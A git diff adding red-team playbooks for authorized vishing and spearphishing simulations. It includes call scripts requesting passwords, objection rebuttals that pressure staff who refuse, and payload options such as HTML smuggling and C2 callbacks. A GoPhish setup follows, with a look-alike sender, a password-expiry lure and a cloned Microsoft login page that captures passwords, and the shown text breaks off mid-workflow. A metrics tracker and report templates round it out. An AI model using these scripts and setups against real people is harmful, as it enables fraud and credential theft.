names, titles, departments + +## Phase 2: Pretext Development + +### Common Pretext Scenarios + +**IT Helpdesk Impersonation (Most Effective):** +> "Hi, this is [name] from the IT Service Desk. We're migrating everyone to the new VPN client this week, and I see your account hasn't been updated yet. I need to verify your current credentials to ensure the migration goes smoothly. Can you confirm your username and current password?" + +**Vendor/Contractor:** +> "Hi, I'm [name] from [known vendor]. We're doing an emergency patch deployment for [product] and I need remote access to your system. Could you help me connect via TeamViewer?" + +**Executive Assistant (Authority):** +> "This is [name] calling on behalf of [CFO name]. [He/She] needs an urgent wire transfer processed for a deal that's closing today. I'll email you the details, but we need this done in the next hour." + +**Building/Facilities:** +> "Hi, this is [name] from facilities management. We're updating the badge access system this weekend. I need to confirm your employee ID and current badge number so your access isn't interrupted." + +### Pretext Checklist + +- [ ] Is the pretext believable for this organization? +- [ ] Does it create appropriate urgency without being threatening? +- [ ] Does it align with OSINT findings (real dept names, real systems)? +- [ ] Does it have a plausible reason for requesting information? +- [ ] Is there a fallback if the target pushes back? +- [ ] Has the client approved this specific pretext? + +## Phase 3: Call Execution + +### Call Structure + +1. **Introduction** (10 seconds): State name, department, reason for calling +2. **Building rapport** (30 seconds): Reference something real (recent event, shared context) +3. **Authority establishment** (20 seconds): Reference manager name, ticket number, urgency +4. **Information request** (30 seconds): Ask for the target information naturally +5. **Handling objections**: If challenged, respond calmly with prepared answers +6. **Closing** (10 seconds): Thank them, leave no suspicion + +### Objection Handling + +| Objection | Response | +|---|---| +| "Can I call you back?" | "Of course, call the main helpdesk line and ask for [name]. But this needs to be done by EOD." | +| "I need to verify this" | "Absolutely, I appreciate your diligence. You can check with [manager name]." | +| "I was told never to give passwords" | "You're right, and normally we wouldn't ask. This is a special case because [reason]. I can have my manager call you." | +| "What's your employee ID?" | Pivot: "It's [made-up ID]. Listen, I have 50 more people to call today. Can we just get this done?" | +| "I'll email IT instead" | "Sure, but the system migration happens tonight. If it's not done by then..." | + +## Phase 4: Data Collection and Metrics + +Track the following for each call: + +| Metric | Description | +|---|---| +| Target Name | Employee called | +| Department | Target's department | +| Date/Time | When call was made | +| Duration | Length of call | +| Pretext Used | Which scenario | +| Information Obtained | What was disclosed | +| Credential Disclosed | Yes/No (and type) | +| Verification Attempted | Did target try to verify caller? | +| Reported to Security | Did target report the call? | +| Social Engineering Score | 1-5 susceptibility rating | + +## Phase 5: Reporting + +### Success Metrics + +| Metric | Target | Result | +|---|---|---| +| Credential Disclosure Rate | <10% | XX% | +| Sensitive Info Disclosure Rate | <20% | XX% | +| Verification Rate | >80% | XX% | +| Security Reporting Rate | >50% | XX% | + +## Ethical and Legal Considerations + +1. **Always obtain written authorization** before conducting vishing tests +2. **Never use threatening language** or create genuine fear +3. **Document consent** and legal requirements for call recording +4. **Protect disclosed credentials** - immediately report to client +5. **Debrief targets** after the engagement if client approves +6. **Never publicly identify** specific employees who failed +7. **Comply with telecommunications laws** in your jurisdiction + +## References + +- Verizon DBIR 2025: 74% of breaches involve human element +- MITRE ATT&CK T1598: https://attack.mitre.org/techniques/T1598/ +- Social Engineering Penetration Testing by Gavin Watson (Syngress) +- The Art of Deception by Kevin Mitnick (Wiley) +- NIST SP 800-50: Building an Information Technology Security Awareness and Training Program diff --git a/skills/conducting-social-engineering-pretext-call/assets/template.md b/skills/conducting-social-engineering-pretext-call/assets/template.md new file mode 100644 index 00000000..36d63440 --- /dev/null +++ b/skills/conducting-social-engineering-pretext-call/assets/template.md @@ -0,0 +1,56 @@ +# Vishing Assessment Report Template + +## Engagement Details + +| Field | Value | +|---|---| +| Campaign ID | VISH-YYYY-XXX | +| Client | [Organization] | +| Period | YYYY-MM-DD to YYYY-MM-DD | +| Total Targets | XX employees | +| Pretext(s) Used | [List of pretexts] | +| Assessor | [Name] | + +## Executive Summary + +[Organization] engaged [Company] to conduct a vishing assessment targeting XX employees across XX departments. The assessment measured employee susceptibility to social engineering pretext calls, specifically testing credential disclosure, verification procedures, and incident reporting behaviors. + +## Results Summary + +| Metric | Result | Benchmark | Status | +|---|---|---|---| +| Credential Disclosure Rate | XX% | <10% | Pass/Fail | +| Sensitive Info Disclosure Rate | XX% | <20% | Pass/Fail | +| Caller Verification Rate | XX% | >80% | Pass/Fail | +| Security Reporting Rate | XX% | >50% | Pass/Fail | + +## Call Log + +| # | Target | Dept | Pretext | Cred Disclosed | Verified | Reported | +|---|---|---|---|---|---|---| +| 1 | [Name] | [Dept] | [Pretext] | Yes/No | Yes/No | Yes/No | +| 2 | [Name] | [Dept] | [Pretext] | Yes/No | Yes/No | Yes/No | + +## Department Risk Scores + +| Department | Targets | Disclosure Rate | Risk Level | +|---|---|---|---| +| Finance | XX | XX% | Critical/High/Medium/Low | +| HR | XX | XX% | Critical/High/Medium/Low | +| IT | XX | XX% | Critical/High/Medium/Low | + +## Recommendations + +### Immediate (0-30 days) +1. Implement mandatory callback verification for credential requests +2. Issue security bulletin about vishing threats + +### Short-Term (30-90 days) +1. Deploy role-based security awareness training +2. Establish easy suspicious-call reporting mechanism +3. Conduct targeted training for high-risk departments + +### Long-Term (90+ days) +1. Implement quarterly vishing simulations +2. Integrate vishing metrics into security KPIs +3. Develop department-specific verification procedures diff --git a/skills/conducting-social-engineering-pretext-call/references/standards.md b/skills/conducting-social-engineering-pretext-call/references/standards.md new file mode 100644 index 00000000..adf7786d --- /dev/null +++ b/skills/conducting-social-engineering-pretext-call/references/standards.md @@ -0,0 +1,30 @@ +# Standards and References: Social Engineering Pretext Call + +## MITRE ATT&CK Techniques +- **T1566.004** - Phishing: Voice (Vishing) +- **T1598** - Phishing for Information +- **T1598.003** - Phishing for Information: Spearphishing Voice +- **T1589** - Gather Victim Identity Information +- **T1589.001** - Gather Victim Identity Information: Credentials +- **T1589.002** - Gather Victim Identity Information: Email Addresses +- **T1591** - Gather Victim Org Information +- **T1591.004** - Gather Victim Org Information: Identify Roles +- **T1593** - Search Open Websites/Domains + +## NIST References +- **NIST SP 800-50** - Building an IT Security Awareness and Training Program +- **NIST SP 800-53 Rev. 5** - AT-2: Literacy Training and Awareness +- **NIST SP 800-53 Rev. 5** - AT-3: Role-Based Training +- **NIST SP 800-115** - Section 3.3: Social Engineering + +## Legal Frameworks +- **Computer Fraud and Abuse Act (CFAA)** - Authorization requirements +- **GDPR Article 6** - Lawful basis for processing (if recording EU citizens) +- **State wiretapping laws** - One-party vs two-party consent states +- **Telecommunications Act** - Caller ID spoofing regulations (47 U.S.C. 227) + +## Industry Standards +- **PTES** - Social Engineering section +- **OSSTMM** - Human Security Testing module +- **CREST** - Social Engineering guidelines +- **SE Code of Ethics** - Social engineering testing ethical standards diff --git a/skills/conducting-social-engineering-pretext-call/references/workflows.md b/skills/conducting-social-engineering-pretext-call/references/workflows.md new file mode 100644 index 00000000..7b5999be --- /dev/null +++ b/skills/conducting-social-engineering-pretext-call/references/workflows.md @@ -0,0 +1,83 @@ +# Workflows: Social Engineering Pretext Call + +## Vishing Campaign Workflow + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ VISHING CAMPAIGN WORKFLOW │ +├─────────────────────────────────────────────────────────────────┤ +│ │ +│ 1. AUTHORIZATION & SCOPING │ +│ ├── Obtain written authorization │ +│ ├── Define target list (departments, roles) │ +│ ├── Define boundaries (no C-suite, no threats) │ +│ ├── Agree on pretext scenarios │ +│ ├── Confirm call recording legality │ +│ └── Establish deconfliction process │ +│ │ +│ 2. OSINT RECONNAISSANCE │ +│ ├── Employee enumeration (LinkedIn, website) │ +│ ├── Organizational structure mapping │ +│ ├── Technology stack identification │ +│ ├── Internal terminology and process research │ +│ └── Target prioritization │ +│ │ +│ 3. PRETEXT DEVELOPMENT │ +│ ├── Select scenario(s) per target role │ +│ ├── Draft call scripts with key phrases │ +│ ├── Prepare objection handling responses │ +│ ├── Set up caller ID spoofing (authorized) │ +│ └── Rehearse delivery │ +│ │ +│ 4. CALL EXECUTION │ +│ ├── Execute calls according to schedule │ +│ ├── Record calls (with legal authorization) │ +│ ├── Document responses and disclosures │ +│ ├── Note verification attempts by targets │ +│ └── Track time-to-disclosure metrics │ +│ │ +│ 5. ANALYSIS & REPORTING │ +│ ├── Calculate disclosure rates by department │ +│ ├── Identify patterns (role, tenure, training) │ +│ ├── Compare against industry benchmarks │ +│ ├── Generate remediation recommendations │ +│ └── Present findings to stakeholders │ +│ │ +└─────────────────────────────────────────────────────────────────┘ +``` + +## Pretext Selection Decision Tree + +``` +Select Pretext Based on Target Role +│ +├── IT/Technical Staff +│ ├── Vendor support call (patch emergency) +│ ├── Cloud provider security alert +│ └── Penetration test notification (meta-pretext) +│ +├── Finance/Accounting +│ ├── Wire transfer verification (CEO fraud) +│ ├── Vendor payment update +│ └── Audit compliance request +│ +├── HR/Recruiting +│ ├── Benefits enrollment verification +│ ├── Background check follow-up +│ └── Payroll system update +│ +├── Executive Assistants +│ ├── Executive impersonation (travel issue) +│ ├── Board meeting preparation +│ └── Urgent document request +│ +├── General Employees +│ ├── IT Helpdesk (password reset/VPN update) +│ ├── Facilities (badge system update) +│ └── Survey/research call +│ +└── Front Desk/Reception + ├── Delivery/courier pretext + ├── Visitor registration + └── Employee directory request +``` diff --git a/skills/conducting-social-engineering-pretext-call/scripts/process.py b/skills/conducting-social-engineering-pretext-call/scripts/process.py new file mode 100644 index 00000000..75f5e971 --- /dev/null +++ b/skills/conducting-social-engineering-pretext-call/scripts/process.py @@ -0,0 +1,228 @@ +#!/usr/bin/env python3 +""" +Social Engineering Campaign Tracker + +Tracks vishing (pretext call) campaign results, calculates susceptibility +metrics, and generates reports for security awareness improvement. +""" + +import json +import os +import csv +from datetime import datetime +from collections import defaultdict +from dataclasses import dataclass, field, asdict + + +@dataclass +class VishingCall: + """Represents a single vishing call attempt.""" + call_id: str + timestamp: str + target_name: str + target_department: str + target_role: str + pretext_used: str + call_duration_seconds: int + call_answered: bool + credential_disclosed: bool + sensitive_info_disclosed: bool + info_type_disclosed: str = "" # password, username, badge_number, etc. + verification_attempted: bool = False + reported_to_security: bool = False + susceptibility_score: int = 0 # 1-5 + notes: str = "" + operator: str = "" + + +class VishingCampaignTracker: + """Track and analyze vishing campaign results.""" + + def __init__(self, campaign_id: str, client_name: str): + self.campaign_id = campaign_id + self.client_name = client_name + self.calls: list[VishingCall] = [] + + def log_call(self, call: VishingCall) -> None: + """Log a vishing call result.""" + self.calls.append(call) + + def calculate_metrics(self) -> dict: + """Calculate campaign metrics.""" + answered = [c for c in self.calls if c.call_answered] + total_answered = len(answered) + if total_answered == 0: + return {"error": "No answered calls to analyze"} + + cred_disclosed = [c for c in answered if c.credential_disclosed] + info_disclosed = [c for c in answered if c.sensitive_info_disclosed] + verified = [c for c in answered if c.verification_attempted] + reported = [c for c in answered if c.reported_to_security] + + # Per-department breakdown + dept_stats = defaultdict(lambda: { + "total": 0, "cred_disclosed": 0, "info_disclosed": 0, + "verified": 0, "reported": 0, + }) + for call in answered: + dept = call.target_department + dept_stats[dept]["total"] += 1 + if call.credential_disclosed: + dept_stats[dept]["cred_disclosed"] += 1 + if call.sensitive_info_disclosed: + dept_stats[dept]["info_disclosed"] += 1 + if call.verification_attempted: + dept_stats[dept]["verified"] += 1 + if call.reported_to_security: + dept_stats[dept]["reported"] += 1 + + # Per-pretext breakdown + pretext_stats = defaultdict(lambda: {"total": 0, "success": 0}) + for call in answered: + pretext_stats[call.pretext_used]["total"] += 1 + if call.credential_disclosed or call.sensitive_info_disclosed: + pretext_stats[call.pretext_used]["success"] += 1 + + avg_duration = sum(c.call_duration_seconds for c in answered) / total_answered + avg_susceptibility = sum(c.susceptibility_score for c in answered) / total_answered + + return { + "campaign_id": self.campaign_id, + "total_calls": len(self.calls), + "calls_answered": total_answered, + "answer_rate": total_answered / len(self.calls) * 100, + "credential_disclosure_rate": len(cred_disclosed) / total_answered * 100, + "sensitive_info_disclosure_rate": len(info_disclosed) / total_answered * 100, + "verification_rate": len(verified) / total_answered * 100, + "security_reporting_rate": len(reported) / total_answered * 100, + "avg_call_duration_seconds": avg_duration, + "avg_susceptibility_score": avg_susceptibility, + "department_breakdown": dict(dept_stats), + "pretext_effectiveness": dict(pretext_stats), + } + + def generate_report(self) -> str: + """Generate campaign report.""" + metrics = self.calculate_metrics() + if "error" in metrics: + return metrics["error"] + + lines = [] + lines.append("=" * 70) + lines.append("VISHING CAMPAIGN ASSESSMENT REPORT") + lines.append(f"Campaign: {self.campaign_id}") + lines.append(f"Client: {self.client_name}") + lines.append(f"Date: {datetime.now().strftime('%Y-%m-%d')}") + lines.append("=" * 70) + + lines.append(f"\nOVERALL METRICS:") + lines.append(f" Total Calls Made: {metrics['total_calls']}") + lines.append(f" Calls Answered: {metrics['calls_answered']}") + lines.append(f" Answer Rate: {metrics['answer_rate']:.1f}%") + lines.append(f" Credential Disclosure Rate: {metrics['credential_disclosure_rate']:.1f}%") + lines.append(f" Info Disclosure Rate: {metrics['sensitive_info_disclosure_rate']:.1f}%") + lines.append(f" Verification Rate: {metrics['verification_rate']:.1f}%") + lines.append(f" Security Reporting Rate: {metrics['security_reporting_rate']:.1f}%") + lines.append(f" Avg Call Duration: {metrics['avg_call_duration_seconds']:.0f}s") + lines.append(f" Avg Susceptibility (1-5): {metrics['avg_susceptibility_score']:.1f}") + + # Risk assessment + cred_rate = metrics['credential_disclosure_rate'] + risk = "CRITICAL" if cred_rate > 30 else "HIGH" if cred_rate > 15 else "MEDIUM" if cred_rate > 5 else "LOW" + lines.append(f"\n OVERALL RISK RATING: {risk}") + + # Department breakdown + lines.append(f"\nDEPARTMENT BREAKDOWN:") + lines.append("-" * 70) + for dept, stats in metrics["department_breakdown"].items(): + total = stats["total"] + cred_pct = stats["cred_disclosed"] / total * 100 if total else 0 + verify_pct = stats["verified"] / total * 100 if total else 0 + lines.append( + f" {dept:<20} Calls: {total:>3} | " + f"Cred Disclosed: {cred_pct:>5.1f}% | " + f"Verified: {verify_pct:>5.1f}%" + ) + + # Pretext effectiveness + lines.append(f"\nPRETEXT EFFECTIVENESS:") + lines.append("-" * 70) + for pretext, stats in metrics["pretext_effectiveness"].items(): + success_rate = stats["success"] / stats["total"] * 100 if stats["total"] else 0 + lines.append(f" {pretext:<30} Success: {success_rate:.1f}% ({stats['success']}/{stats['total']})") + + # Recommendations + lines.append(f"\nRECOMMENDATIONS:") + lines.append("-" * 70) + if metrics["credential_disclosure_rate"] > 10: + lines.append(" [CRITICAL] Implement mandatory caller verification procedures") + if metrics["verification_rate"] < 50: + lines.append(" [HIGH] Enhance security awareness training on verification") + if metrics["security_reporting_rate"] < 30: + lines.append(" [HIGH] Establish easy-to-use suspicious call reporting process") + lines.append(" [MEDIUM] Conduct quarterly vishing simulations") + lines.append(" [MEDIUM] Implement callback verification for sensitive requests") + + return "\n".join(lines) + + def export_csv(self, output_path: str) -> None: + """Export results to CSV.""" + with open(output_path, "w", newline="") as f: + writer = csv.writer(f) + writer.writerow([ + "Call ID", "Timestamp", "Target", "Department", "Role", + "Pretext", "Duration(s)", "Answered", "Cred Disclosed", + "Info Disclosed", "Verified", "Reported", "Score", + ]) + for call in self.calls: + writer.writerow([ + call.call_id, call.timestamp, call.target_name, + call.target_department, call.target_role, call.pretext_used, + call.call_duration_seconds, call.call_answered, + call.credential_disclosed, call.sensitive_info_disclosed, + call.verification_attempted, call.reported_to_security, + call.susceptibility_score, + ]) + + +def main(): + """Demonstrate vishing campaign tracking.""" + tracker = VishingCampaignTracker("VISH-2025-001", "Example Corp") + + sample_calls = [ + VishingCall("V001", "2025-02-01T09:00:00", "Alice Johnson", "Finance", + "Accountant", "IT Helpdesk - VPN Update", 180, True, True, + True, "password", False, False, 5), + VishingCall("V002", "2025-02-01T09:30:00", "Bob Smith", "IT", + "Sysadmin", "Vendor Support Call", 45, True, False, + False, "", True, True, 1), + VishingCall("V003", "2025-02-01T10:00:00", "Carol Davis", "HR", + "HR Manager", "Benefits Verification", 120, True, False, + True, "employee_id", False, False, 3), + VishingCall("V004", "2025-02-01T10:30:00", "Dan Wilson", "Finance", + "Controller", "Wire Transfer Request", 60, True, False, + False, "", True, True, 1), + VishingCall("V005", "2025-02-01T11:00:00", "Eve Brown", "Marketing", + "Manager", "IT Helpdesk - Password Reset", 150, True, True, + True, "password", False, False, 4), + VishingCall("V006", "2025-02-01T11:30:00", "Frank Lee", "Engineering", + "Developer", "IT Helpdesk - VPN Update", 30, True, False, + False, "", True, False, 2), + VishingCall("V007", "2025-02-01T13:00:00", "Grace Kim", "Reception", + "Front Desk", "Delivery Confirmation", 90, True, False, + True, "employee_directory", False, False, 3), + VishingCall("V008", "2025-02-01T13:30:00", "Henry Chen", "IT", + "Help Desk", "New Employee Onboarding", 20, True, False, + False, "", True, True, 1), + ] + + for call in sample_calls: + tracker.log_call(call) + + print(tracker.generate_report()) + tracker.export_csv("vishing_results.csv") + print(f"\n[+] Results exported to vishing_results.csv") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-spearphishing-simulation-campaign/SKILL.md b/skills/conducting-spearphishing-simulation-campaign/SKILL.md new file mode 100644 index 00000000..d6f15861 --- /dev/null +++ b/skills/conducting-spearphishing-simulation-campaign/SKILL.md @@ -0,0 +1,100 @@ +--- +name: conducting-spearphishing-simulation-campaign +description: Spearphishing simulation is a targeted social engineering attack vector used by red teams to gain initial access. Unlike broad phishing campaigns, spearphishing uses OSINT-derived intelligence to craf +domain: cybersecurity +subdomain: red-teaming +tags: [red-team, adversary-simulation, mitre-attack, exploitation, post-exploitation, spearphishing, social-engineering] +version: "1.0" +author: mahipal +license: MIT +--- +# Conducting Spearphishing Simulation Campaign + +## Overview + +Spearphishing simulation is a targeted social engineering attack vector used by red teams to gain initial access. Unlike broad phishing campaigns, spearphishing uses OSINT-derived intelligence to craft highly personalized messages targeting specific individuals. This skill covers developing pretexts, building payloads, setting up email infrastructure, executing the campaign, and tracking results. + +## Objectives + +- Develop convincing pretexts tailored to specific target personnel +- Create weaponized payloads that bypass email security controls +- Set up email delivery infrastructure with proper SPF/DKIM/DMARC configuration +- Execute phishing campaigns with real-time tracking and metrics +- Document results for engagement reporting and security awareness improvement + +## MITRE ATT&CK Mapping + +- **T1566.001** - Phishing: Spearphishing Attachment +- **T1566.002** - Phishing: Spearphishing Link +- **T1566.003** - Phishing: Spearphishing via Service +- **T1598.003** - Phishing for Information: Spearphishing Link +- **T1204.001** - User Execution: Malicious Link +- **T1204.002** - User Execution: Malicious File +- **T1608.001** - Stage Capabilities: Upload Malware +- **T1608.005** - Stage Capabilities: Link Target +- **T1583.001** - Acquire Infrastructure: Domains +- **T1585.002** - Establish Accounts: Email Accounts + +## Implementation Steps + +### Phase 1: Pretext Development +1. Review OSINT findings for target personnel profiles +2. Identify current organizational events (mergers, projects, new hires) +3. Select pretext theme (IT helpdesk, HR benefits, vendor communication, executive request) +4. Craft email templates with appropriate urgency and authority cues +5. Create landing pages that mirror target organization's branding + +### Phase 2: Payload Development +1. Select payload type based on target security controls: + - HTML smuggling for email gateway bypass + - Macro-enabled documents (if macros not blocked) + - ISO/IMG files containing LNK payloads + - OneNote files with embedded scripts + - QR codes linking to credential harvesting pages +2. Test payload against target's known security stack +3. Implement payload obfuscation techniques +4. Configure callback to C2 infrastructure + +### Phase 3: Infrastructure Setup +1. Register convincing look-alike domain +2. Age domain and build reputation (minimum 2 weeks recommended) +3. Configure SPF, DKIM, and DMARC records +4. Set up SMTP relay with GoPhish or custom mail server +5. Deploy credential harvesting pages with SSL certificates +6. Configure tracking pixels and click tracking + +### Phase 4: Campaign Execution +1. Send test emails to verify delivery and rendering +2. Launch campaign in waves (avoid mass sending) +3. Monitor email delivery rates and opens in real-time +4. Track link clicks and credential submissions +5. Deploy payloads to users who interact with phishing emails +6. Capture screenshots and evidence for reporting + +### Phase 5: Post-Campaign Analysis +1. Calculate campaign metrics (delivery rate, open rate, click rate, credential capture rate) +2. Identify users who reported phishing to SOC +3. Document bypass of email security controls +4. Map successful compromises to MITRE ATT&CK +5. Compile findings for engagement report + +## Tools and Resources + +| Tool | Purpose | License | +|------|---------|---------| +| GoPhish | Phishing campaign management | Open Source | +| Evilginx2 | Real-time credential harvesting with MFA bypass | Open Source | +| King Phisher | Phishing campaign toolkit | Open Source | +| SET (Social Engineering Toolkit) | Multi-vector social engineering | Open Source | +| Modlishka | Reverse proxy phishing | Open Source | +| CredSniper | Credential harvesting framework | Open Source | +| Fierce Phish | Phishing framework | Open Source | + +## Validation Criteria + +- [ ] Pretext tailored to specific targets with OSINT data +- [ ] Payload tested against email security controls +- [ ] Infrastructure configured with proper email authentication +- [ ] Campaign tracked with delivery and interaction metrics +- [ ] Evidence collected for engagement report +- [ ] Cleanup performed on infrastructure post-campaign diff --git a/skills/conducting-spearphishing-simulation-campaign/assets/template.md b/skills/conducting-spearphishing-simulation-campaign/assets/template.md new file mode 100644 index 00000000..54b100b4 --- /dev/null +++ b/skills/conducting-spearphishing-simulation-campaign/assets/template.md @@ -0,0 +1,173 @@ +# Spearphishing Campaign Report Template + +## Document Control + +| Field | Value | +|-------|-------| +| Campaign ID | [ID] | +| Engagement ID | [ENGAGEMENT_ID] | +| Target Organization | [NAME] | +| Campaign Date | [START] - [END] | +| Red Team Lead | [NAME] | +| Classification | CONFIDENTIAL | + +--- + +## 1. Executive Summary + +[Overview of campaign objectives, methodology, and key findings] + +**Bottom Line:** [X]% of targeted users clicked the phishing link, and [Y]% submitted credentials, demonstrating [assessment of organizational risk]. + +--- + +## 2. Campaign Details + +### 2.1 Pretext +- **Theme:** [Password expiry / Shared document / HR benefits / etc.] +- **Authority Figure:** [IT Security / HR / Executive / Vendor] +- **Urgency Level:** [High / Medium / Low] +- **Personalization Level:** [Name, role, department, etc.] + +### 2.2 Infrastructure +| Component | Details | +|-----------|---------| +| Sending Domain | [DOMAIN] | +| Domain Age | [DAYS] days | +| SPF/DKIM/DMARC | [Configured / Partial / None] | +| Landing Page URL | [URL] | +| SSL Certificate | [Let's Encrypt / Self-signed] | + +### 2.3 Payload +- **Type:** [Link / Attachment / QR Code] +- **Payload:** [Credential harvester / HTML smuggling / Macro document] +- **C2 Callback:** [C2 DOMAIN/IP] + +--- + +## 3. Target Summary + +| Department | Targets | Clicked | Submitted | Reported | +|-----------|---------|---------|-----------|----------| +| | | | | | +| **Total** | | | | | + +--- + +## 4. Campaign Metrics + +| Metric | Value | Industry Benchmark | +|--------|-------|--------------------| +| Delivery Rate | % | 95%+ | +| Open Rate | % | 30-40% | +| Click-Through Rate | % | 10-15% | +| Credential Capture Rate | % | 5-10% | +| Phishing Report Rate | % | 20-30% | +| Time to First Click | min | <5 min typical | +| Time to First Report | min | <30 min ideal | + +--- + +## 5. Timeline of Events + +| Time (UTC) | Event | User | Details | +|-----------|-------|------|---------| +| | Campaign launched | N/A | Wave 1 sent | +| | First email opened | [USER] | Tracking pixel loaded | +| | First link click | [USER] | Landing page accessed | +| | First credential submission | [USER] | Credentials captured | +| | First SOC report | [USER] | Phishing reported | +| | Campaign concluded | N/A | All waves completed | + +--- + +## 6. Security Control Assessment + +### 6.1 Email Security Gateway +| Control | Status | Notes | +|---------|--------|-------| +| SPF Validation | Passed/Blocked | | +| DKIM Validation | Passed/Blocked | | +| DMARC Enforcement | Passed/Blocked | | +| URL Rewriting | Active/Bypassed | | +| Attachment Scanning | Active/Bypassed | | +| Sandboxing | Active/Bypassed | | + +### 6.2 Endpoint Protection +| Control | Status | Notes | +|---------|--------|-------| +| Browser URL Filtering | Blocked/Bypassed | | +| EDR Detection | Detected/Missed | | +| Credential Guard | Active/Bypassed | | + +### 6.3 User Awareness +| Indicator | Assessment | +|-----------|-----------| +| Recognition of phishing indicators | Low/Medium/High | +| Use of phishing report button | Low/Medium/High | +| Resistance to urgency pressure | Low/Medium/High | +| Verification of sender identity | Low/Medium/High | + +--- + +## 7. Risk Assessment + +### 7.1 Impact Analysis +If this were a real attack: +- **[X] credentials** would provide initial access to corporate systems +- **[Y] users** would have unknowingly executed malicious payloads +- **Estimated dwell time** before detection: [Z hours/days] + +### 7.2 Risk Rating +**Overall Risk: [CRITICAL/HIGH/MEDIUM/LOW]** + +--- + +## 8. Recommendations + +### Immediate (0-30 days) +1. [Recommendation] +2. [Recommendation] + +### Short-Term (30-90 days) +1. [Recommendation] +2. [Recommendation] + +### Long-Term (90+ days) +1. [Recommendation] +2. [Recommendation] + +--- + +## 9. MITRE ATT&CK Mapping + +| Technique ID | Name | Status | +|-------------|------|--------| +| T1566.002 | Spearphishing Link | Successful/Blocked | +| T1204.001 | User Execution: Malicious Link | Successful/Blocked | +| T1078 | Valid Accounts | Credentials Captured/None | + +--- + +## Appendix A: Email Template Used + +[Include screenshot or text of phishing email] + +## Appendix B: Landing Page Screenshot + +[Include screenshot of credential harvesting page] + +## Appendix C: Users Who Clicked (Redacted) + +| # | Department | Role Level | Action Taken | +|---|-----------|------------|-------------| +| 1 | | | Clicked/Submitted/Both | + +## Appendix D: IOCs for Blue Team + +| Type | Value | Description | +|------|-------|-------------| +| Domain | | Phishing domain | +| IP | | Infrastructure IP | +| URL | | Landing page URL | +| Email | | Sender address | diff --git a/skills/conducting-spearphishing-simulation-campaign/references/standards.md b/skills/conducting-spearphishing-simulation-campaign/references/standards.md new file mode 100644 index 00000000..bd210832 --- /dev/null +++ b/skills/conducting-spearphishing-simulation-campaign/references/standards.md @@ -0,0 +1,75 @@ +# Standards and Framework References + +## MITRE ATT&CK - Initial Access (TA0001) + +| Technique ID | Name | Sub-technique | +|-------------|------|---------------| +| T1566.001 | Spearphishing Attachment | Malicious files delivered via email | +| T1566.002 | Spearphishing Link | URLs in emails directing to malicious content | +| T1566.003 | Spearphishing via Service | Phishing through third-party services | +| T1598.001 | Phishing for Information: Spearphishing Service | Info gathering via services | +| T1598.002 | Phishing for Information: Spearphishing Attachment | Credential harvesting attachments | +| T1598.003 | Phishing for Information: Spearphishing Link | Credential harvesting links | + +## MITRE ATT&CK - Execution (TA0002) + +| Technique ID | Name | Description | +|-------------|------|-------------| +| T1204.001 | User Execution: Malicious Link | User clicks phishing link | +| T1204.002 | User Execution: Malicious File | User opens malicious attachment | + +## MITRE ATT&CK - Resource Development (TA0042) + +| Technique ID | Name | Description | +|-------------|------|-------------| +| T1583.001 | Acquire Infrastructure: Domains | Register phishing domains | +| T1583.006 | Acquire Infrastructure: Web Services | Use web services for phishing | +| T1585.001 | Establish Accounts: Social Media | Create fake social media profiles | +| T1585.002 | Establish Accounts: Email Accounts | Create email accounts for sending | +| T1608.001 | Stage Capabilities: Upload Malware | Host payloads for download | +| T1608.005 | Stage Capabilities: Link Target | Prepare phishing URLs | + +## PTES - Social Engineering + +### Pre-text Creation +- Research-based pretext development +- Authority, urgency, and scarcity principles +- Robert Cialdini's principles of influence +- Corporate communication mimicry + +### Attack Vectors +- Email-based spearphishing +- Voice phishing (vishing) support calls +- SMS phishing (smishing) +- Social media-based pretexting + +## NIST SP 800-177 - Trustworthy Email + +### Email Authentication Protocols +- SPF (Sender Policy Framework) +- DKIM (DomainKeys Identified Mail) +- DMARC (Domain-based Message Authentication) + +### Email Security Controls +- Email gateway filtering +- URL rewriting and sandboxing +- Attachment analysis +- Domain reputation scoring + +## CIS Controls v8 + +### Control 14: Security Awareness and Skills Training +- 14.1: Establish and Maintain a Security Awareness Program +- 14.2: Train Workforce Members to Recognize Social Engineering Attacks +- 14.3: Train Workforce Members on Authentication Best Practices + +## Email Security Bypass Techniques Reference + +| Technique | Bypasses | Risk Level | +|-----------|----------|------------| +| HTML Smuggling | Email attachment scanning | High | +| Domain Age/Reputation | New domain blocking | Medium | +| Legitimate Service Abuse | Domain reputation filters | High | +| SPF/DKIM/DMARC Alignment | Email authentication checks | Medium | +| File Format Alternatives | Attachment type blocking | Medium | +| QR Code Phishing | URL analysis engines | High | diff --git a/skills/conducting-spearphishing-simulation-campaign/references/workflows.md b/skills/conducting-spearphishing-simulation-campaign/references/workflows.md new file mode 100644 index 00000000..47a2e604 --- /dev/null +++ b/skills/conducting-spearphishing-simulation-campaign/references/workflows.md @@ -0,0 +1,238 @@ +# Spearphishing Simulation Campaign Workflows + +## Workflow 1: GoPhish Campaign Setup + +### Step 1: Install and Configure GoPhish +```bash +# Download GoPhish +wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip +unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish +cd /opt/gophish + +# Generate SSL certificate for admin panel +openssl req -newkey rsa:2048 -nodes -keyout gophish.key -x509 -days 365 -out gophish.crt + +# Edit config.json +# Set admin_server listen_url to 0.0.0.0:3333 +# Set phish_server listen_url to 0.0.0.0:443 + +# Start GoPhish +./gophish +``` + +### Step 2: Configure Sending Profile +``` +Name: Red Team SMTP +SMTP From: it-support@targetcorp-helpdesk.com +Host: mail.phishing-infra.com:587 +Username: operator@phishing-infra.com +Password: [SECURE_PASSWORD] +Ignore Certificate Errors: No +Headers: + X-Mailer: Microsoft Outlook 16.0 + Reply-To: it-support@targetcorp-helpdesk.com +``` + +### Step 3: Create Email Template +```html +Subject: [ACTION REQUIRED] Password Expiry Notice - {{.FirstName}} + +Dear {{.FirstName}} {{.LastName}}, + +Your corporate password will expire in 24 hours. To maintain +access to company resources, please update your password +immediately using our secure portal. + +Update Password Now + +This is an automated message from IT Security. +Please complete this action before {{.BaseRecipient}} loses access. + +Best regards, +IT Security Team +{{.Tracker}} +``` + +### Step 4: Create Landing Page +``` +Import Site: https://login.microsoftonline.com +Capture Submitted Data: Yes +Capture Passwords: Yes +Redirect To: https://portal.office.com (after credential capture) +``` + +### Step 5: Configure Target Group +``` +Import from CSV: +First Name, Last Name, Email, Position +John,Smith,john.smith@targetcorp.com,IT Manager +Jane,Doe,jane.doe@targetcorp.com,HR Director +``` + +### Step 6: Launch Campaign 